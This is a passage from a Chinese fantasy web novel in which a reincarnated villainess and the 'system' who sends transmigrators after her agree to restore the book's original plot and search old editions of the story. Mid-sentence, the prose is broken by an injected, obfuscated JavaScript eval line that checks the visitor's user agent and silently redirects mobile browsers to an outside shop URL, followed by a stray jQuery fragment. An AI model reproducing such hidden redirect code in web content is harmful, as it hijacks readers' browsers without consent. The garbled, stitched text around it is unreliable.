“你,在说什么啊小眠”秋断水愣了一下后迅速地反应了过来,扯出一抹勉强的笑容,将慌乱的情绪强行压下,一脸平常的伸手摸了摸她的额头自顾自地说着“没发烧啊”
估计是见鬼了吧。
花行眠就这样静静地看着他在自己面前装模作样,冷笑一声将正在摸着她额头的手拍开:
“别装了秋断水,你知道的,我叫花行眠”
“魔头花行眠”
我不是一个七岁的小屁孩,我是活了几百年的花行眠。
这下秋断水整个人都僵住了,他就这样举着手呆呆地傻站着,
许久,他像是认命般跌落在地,面色发白的垂着脑袋,口中反反复复地喃喃着没用这两个字。
此时花行眠眼中的戒备比往日更重了些,如果放在以前,她在拆穿了他们之后眼中大多是玩味或兴奋,因为她知道他们对自己造不成威胁,可如今的秋断水和他们不一样。
与其他穿书者不同,他们失败之后都会直接离开这个世界
而他却能重新开始。
因为在无数次反反复复又戛然而止的人生中,花行眠很早之前就意识到她的记忆开始错乱了。
原先她只是有些忘记了些许细节
可是现在她快忘记了那个人了,那个在最初的人生中,最重要的那个人。
那个涂抹她人生底色的人。
他是谁?
花行眠倒了一杯茶递给他,给了秋断水一些缓和的时间,
吃惊是很正常的
毕竟她也从未在任何一个穿越者面前袒露过她记得一切记忆的秘密。
过了许久,见秋断水面色缓和了不少。
“缓过来了?”带着稚气的声音却蕴含着别样的成熟:“说说看吧”
“说什么?”
“秋断水你很特别,我知道你跟之前的那些攻略者不同”
刚刚缓和的秋断水脸上又开始了一阵青一阵红,不可置信道:“你一直都知道?”
所以你就这样看着我表演?
想说的一切全都摆在了脸上了
“知道”花行眠顿了一下,这次她没有打算继续隐瞒“从前到现在,我都知道”
“所以你就这样静静地看着那些人在你面前演独角戏?”
秋断水十分不解的看着她:“你一点触动都没有吗?”
“这么多人,这么多年!你心中一丝丝触动都没有吗?”他说话越发的激动起来,到最后忍不住撑着桌子站了起来,像是对着她吼叫一样
下一秒秋断水就意识到自己情绪有些过激了,立马深吸了两口气,试图将自己的即将暴走的情绪压下。
“没有”
花行眠缓缓的飘过一句话,语气中没有一丝丝的波澜,十分平淡仿佛一切都是理所当然。
谁承想,反而是这种若无其事的平淡更加惹人恼火
“你他口口我口了”
“啊啊啊啊——”
“作孽啊!”
花行眠饶有兴趣地观赏着秋断水的崩溃
这样的秋断水很少见,从见到他开始花行眠就知道,他的面目是装的。
故意装成一副温润而泽的样子,做给这些人看,做给她看。
真恶心
终于拆穿他的假面了
就这样过了约莫一刻钟,
长长的舒了一口气后,就这样坦然地强迫自己接受一切,他有些试探:“你知道这个世界……”
是一本小说吗
“知道”花行眠依然是毫不拖泥带水的回答,不过她倒是生出了些不满:“从刚才到现在都是我在回答,现在告诉我”
“为什么你能够如此随心所欲的去到任何一个时间段?”她的眼睛死死盯着他:“你和他们有什么不同,你的目的是什么”
秋断水面色复杂地沉默了许久,不知道是难以开口还是纠结从何开口。
像是下定了很大的决心,用一种很无奈的语气说:“当然不一样了”
“我是系统”
“系统是什么?”
“那些攻略你的人就是系统派来的,也就是我”秋断水语气当中不经意间染上了一丝丝的得意。
花行眠没有理会他那点小小情绪,只是接着问他:“那怎么是你来这”
“系统是老大的意思吧,但是我想要做什么一般都不会自己出手,你连个手下都没有?”
这句话像是一点火星点燃了蓄势待发的炸弹,秋断水直接炸了起来:
“你知道为什么吗?”
“因为,我,没钱了”他一字一句蹦出的话,配合着他脸上皮笑肉不笑的笑容,显得他整个人有一种很命苦的感觉。
“为了攻略你,把这本书的剧情变回原样,我来来回回请了多少个攻略者啊”
“时间成本,人工成本,设备成本……哪一样不要花钱”
“一两个还好,你知道你有多难搞吗?因为你我已经倾家荡产了”秋断水眼中充满了绝望看着面前的的花行眠。
花行眠只是淡淡的哦了一声。
并没有一丝愧疚流露出来
“……”
意识到跟她根本讲不通的秋断水沉默了,一场好戏唱给一个聋子听了。
“你可以不给他们钱啊,用点手段就好了,挂羊头卖狗肉,表面一套背后一套。”花行眠坐到椅子上给自己倒了一杯水,缓了缓嗓子:“阳奉阴违,再稍稍用点技巧,你不仅不用给他们钱财,反而能从他们身上搜刮一番”
勾着笑侧目看了他一眼,话里话外说着他是一个无用之才。
像他这样怎么可能做得成生意。
秋断水沉默了一下,理解了她说的意思。
不就是不给员工看工资呗,做个阴阳合同。
眼神复杂地看着她,缓缓开口:“直到现在我才意识到,花行眠你真的真的是一个很坏的人。”
“哈哈哈哈哈哈哈”
听到他用两个真的反复强调她卑劣的时候,花行眠忍不住笑了出来。
这个人真的很奇怪,明明被她害的倾家荡产,明明看见她残害了那么多人,这些都视而不见,仿佛无关紧要。
却在她提出了一个只是损害了他人利益的计划的时候,觉得她是个真正的恶人。
秋断水的视线没有离开她的脸,眸色深沉,与往常的每一个瞬间都不一样。
看不出他在想些什么。
“你的目的是什么”她问:“也是攻略我?”
她轻笑:“如果是这样的话,你也回去吧,别抱这种幻想了”
我不会喜欢上任何人的。
秋断水垂眸,又喝了一口茶水,低头思考,房间中又陷入了安静。
“我只是想让一切回到原样”他悄然说道。
花行眠看着面前的这个男人,深邃的眼中在反反复复的折磨中终于流露出了一丝疲惫。
“好”
“啊?”
秋断水有些不可思议的抬头看她,就这么轻易的就答应了吗?
以他对于她的了解,不应该啊。
花行眠看着他有些惊讶的表情,心中有些不爽。
全都一样,所有人都一样。
凭借纸张上的寥寥数笔就将一个人钉在框架之中,
自以为很了解的纷纷向他人激情介绍,。
“我答应你让一切回到最初的轨道上,而作为交换,你们不能再让任意一个人再进入这个世界”她冷静果决的声音响起,从容不迫的和秋断水谈起交易。
秋断水没有马上回答她,他在衡量攻略她的难度和将剧情回归最初的难度。
咚,咚,咚
花行眠无聊的用手指一下一下敲着桌子,敲击声在空荡的房间之中清晰无比。
每一下敲打在秋断水心上。
这就没有可比性。
“我答应你”秋断水说道
一拍即合。
“我也记得不是很清楚了”花行眠头疼地看着面前的一个个本子,因为改动实在太大了,故事的最初版已经找不到了。
秋断水坐在一堆话本子当中,手中拿着笔一本一本翻看。
每看一本摇晃一下脑袋,叹息道:“都不是”
“因为你这个bug,作者一直在修文,现在早就不知道修了多少版了”
“你不是说你是系统吗,怎么连这些东西都不清楚”花行眠用脚踢了一下秋断水。
秋断水崩溃的躺了下来,整个人摆成一个大字:“书阁都是要收管理费的好吗?”
“早就没钱交管理费了”
“穷鬼”
“现在你也是穷鬼”秋断水淡淡地说道“我们的钱已经拿去赔医药费了,现在我们都是穷光蛋了”
花行眠皱眉:“你们不是有金手指吗,我看之前有一个人他就是想要什么就能拿出什么”
还系统呢,怎么连这都能难倒他。
秋断水抬眼看向她,轻飘飘的说:“那是以前,现在财政赤字了,这也是没办法的”
“废物”
秋断水无所谓的轻轻一笑,侧过头又捡起一本书翻看了起来。
花行眠摇头,无奈的坐到他的身边和他一起翻阅着地上的一堆书籍,就这样一大一小两人在书堆当中凭借那点记忆寻找着。
房子里面安静的只能听见纸张翻动的簌簌声,小孩的生物钟总是早一些,花行眠也抵不住绵绵涌来的困意,摇摇晃晃几下后,彻底的倒在书堆上睡着了。
直到最后只有秋断水一个人还在书堆中寻找着
直到他从书堆中抽出了一本破烂封面的书籍。
秋断水翻看书页的手顿了一下,眼睛快速阅览着上面的文字,心脏止不住的狂跳了起来,脸色却依然保持着平静,
直到许久,他才深吸一口气将这本书收了起来。
看着倒趴在书堆里面睡觉的女孩,手臂枕着脸颊,现在的她比刚到了的时候多了一些肉,虽然现在还是很瘦,但是脸上的枯黄已经被血色代替。
不过好在总没有最初初的狼狈了。
秋断水盘腿坐到她的面前,伸出手修长五指在她的脸旁边比划对比着。
面上不知何时带上了浅笑。
现在她的脸跟他的手掌差不多大,像一只熟睡的小豹,一醒来就咬人。
秋断水就这样静静的观察了她一会,目光一寸一寸描绘着她的五官。
嘴巴轻启,无声的骂了句小混蛋。
却是听不出一点点怨气,反倒说出一种庆幸。
还好,还好你还是你。
睡神不宁的女孩皱了一下眉头,平静的呼吸有了变化,秋
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17702911|208244||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
断水猛然一下回了神,将自己松懈出去的情绪再次收了起来。
找回原书的版本要紧,于是转身又回到了书堆里面。
秋断水手指一页一页的翻动着书籍,不知道过了多久,手腕已经开始酸痛,他眨了一下干涩的眼睛。
抬起头扭动了一下僵硬的脖颈,缓了口气,眼神不小心落在了一个角落边上,一本特殊封面的书静静地躺在那,引起了他的注意。
秋断水踉踉跄跄的起身,拖着酸麻的腿走过去,弯腰的瞬间险些摔了下去。
他打开那本书,一目十行的阅览。
跳看到一半的时候,他心漏了一拍,眼眸一下明了。
找到了。
并不需要每一个字都确认,只需要某个情节出现就够了,那个看起来普通到无人在意的段落,却是至关重要的转折点。
比起局中人的花行眠,秋断水比她看得更加清一些。
第二天,花行眠睁开了眼睛,发现自己不知道什么时候被秋断水抱到了床榻上,房间里面空落落的,安静的不行。
花行眠揉着睡眼朦胧的眼,走出门口,发现秋断水并不在家,估摸着是出去卖豆腐了。
脚边的小鸡叽叽喳喳的追着跑到她脚边,向她讨食。
这是秋断水前段时间抓回来的,估摸着破壳没多久。
连自主觅食都不会的东西,带回来又能活多久?
秋断水带回来的时候,做的打算可美了,算着要多少个月可以下蛋,多少个月可以煲汤。
结果刚带回来没两天就死了两只。
她看着脚边的小鸡仔,脆弱又渺小,只需要她轻轻一抬脚。
哼哼
她已经想到了接下来的画面,嘴角忍不住上扬了几分。
垂眼看着小鸡们,她将脚抬起,还没等她有所动作,一道咳嗽声,将那些围绕着她的小畜生全部吸引走。
花行眠忍不住轻眉头轻蹩,侧头看过去。
秋断水不知道什么时候回来到了门口。
秋断水将谷物洒在地上,引得纷纷去啄食。
“吃东西了吗”他温柔地问,将背篓放下,从里面拿出来一个馒头递到花行眠的面前。
在她面前抬了一下,示意她接过去。
“我不是小孩”你没必要用这种态度对待我,
花行眠很不喜欢秋断水这个模样,如果是没摊牌之前她可以忍受,既然已经摊牌了
他这是做戏给谁看呢?
虚伪,她在心底暗骂。
秋断水见她没反应,也不理会对他的态度如何,直接将馒头塞到了她的手中。
“你昨天找到了最初的版本了吗”花行眠问抱着馒头追在他屁股后面问。
秋断水点了点头,却没有别的反应。
花行眠皱眉,又继续跟紧:“既然找到了我们就不要再在这里耗时间了”
时间拖得越久,她的变化就越大。
自从那天她出手伤人后,她心中不知道为何涌现出一股不安的感觉。
每天起来看见在几十次轮回中早就忘记的孩童模样,心中越来越慌乱。
只需要原路前进就会没问题的,她这么安慰自己。
但每消耗一天时间她心中的高墙倾斜的就越严重。
秋断水捕捉到她眼中中一闪而过的急切慌乱,没有深究,只当她是受够孩童时期的身体。
“那我们就来复盘一下,原本的剧本”
秋断水将那本书拿了出来,一大一下就这样面对面的的坐着。
秋断水翻了书清了清嗓子,没必要从头开始一点一点捋清楚,只需要将最关键的点出来就好了。
“我念,如果有什么不对的地方你就开口解释”
花行眠嗯了一声,十分配合。
“花行眠,十六岁拜入太初宗,十七岁拜入玉明真人座下成为亲传二弟子”
秋断水侧目看了眼她,没有问题。
“十八岁,短短时间内修炼到金丹中期,成为太初天赋最高的弟子,不少人认为你会接过师父的衣钵,有望成为掌门候选人”
“进入太初三年年后,你的师叔长运真人带回来两名弟子,郎永青和谢音敏”
“短短一年,郎永青的修炼便超过了你到达金丹后期,而谢音敏也到达和你同一水平”
“你因此暗暗嫉妒,不久后,一场秘境试炼当中,你对谢竹予大打出手,如果不是郎永青及时赶到出手,你就会杀掉她”
“之后不久,谢竹予的修为也超越了你,你们之间就此结仇”
花行眠听到这,忍不住翻了个白眼。
秋断水注意到了她的小举动,放下书问“怎么了,是有什么不对的地方吗”
“他们两个就是这本书当中的主角吗?”她问没有直接回答他的问题
“没错”
花行眠听到之后忍不住轻嘲:“呵,还真是详略得当啊”
没看见什么正义凛然的主角,倒是看见了以多欺少的混蛋。
这俩货怕她使出全力,自己提议一对一。
偏偏在她占上风的时候,从她背后偷袭。
真是离谱了,为了抢东西不择手段就不择手段,怎么面子也要馒头也要,就这还自诩坦诚正派呢。
花行眠恶狠狠的咬了一口自己手中的馒头。